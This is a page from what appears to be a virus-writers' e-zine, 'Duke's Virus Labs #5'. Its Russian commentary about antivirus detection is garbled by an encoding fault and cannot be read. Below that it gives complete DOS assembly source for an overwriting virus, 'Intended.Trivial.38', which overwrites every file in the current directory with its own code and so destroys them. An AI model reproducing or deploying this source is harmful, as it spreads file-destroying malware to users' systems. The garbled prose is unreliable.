- [Duke's Virus Labs #5] - [Page 26] -

AVP  Intended-
(c) by Duke/SMF


   -,  ᠭ Trivial-ᮢ,  ᠫ ࠡ騩
ਠ.   䠩  38 ,  ஬ 뫮  室 
ࠧ,  ,  ᨫ ७ 稭,  ࠧ :))
 ⨫   䠪,  ᪠ AVP 㯮୮ 뢠  䠩 
" Trivial-based".  ⨪ , 筮, 祭 ,  祬
 䠩,  ᫥ ᪠ ࠡ⠢  ॣࠬ ᥣ-
頥 ࠢ DOS ? 뢠,   䠩   
(㤠, ⢥ :) !    ਢ   ⢥  AVP.
   P.S. DrWeb 뢠 ।⠢塞  "Trivial.31" - ।
 ࠡ뢠 Web' :))

===== Cut here =====
; Intended.Trivial.38 (c) by Duke/SMF

                .model   tiny
                .286
                .code
                org     100h
virus_length    equ     finish - start      ; 

start  :                                    ;砫 
                mov     ah,4Eh              ; ࢮ 䠩
                mov     dx,offset file_spec ;DX 㪠뢠  "*.*"
                int     21h

infect_file:
                mov     ax,3D01h            ;뢠 䠩  
                mov     dx,9Eh              ;DX 㪠뢠   䠩
                int     21h

                xchg    bx,ax               ;BX ᮤন 䠩 handle

                mov     ah,40h              ;㭪   䠩
                mov     cl,virus_length     ;CL = ᪮쪮  
                mov     dx,offset start     ;DX = 砫  
                int     21h

                mov     ah,3Eh              ;뢠 䠩
                int     21h

                mov     ah,4Fh              ; ᫥饣 䠩
                jnc     infect_file         ;᫨ 䠩 ,  ࠦ,
                ret                         ; ⨢ 砥  ࠡ.

file_spec       db      "*.*",0             ;᪠ 䠩  ᪠

finish  :                                   ; 
                end     start
===== Cut here =====
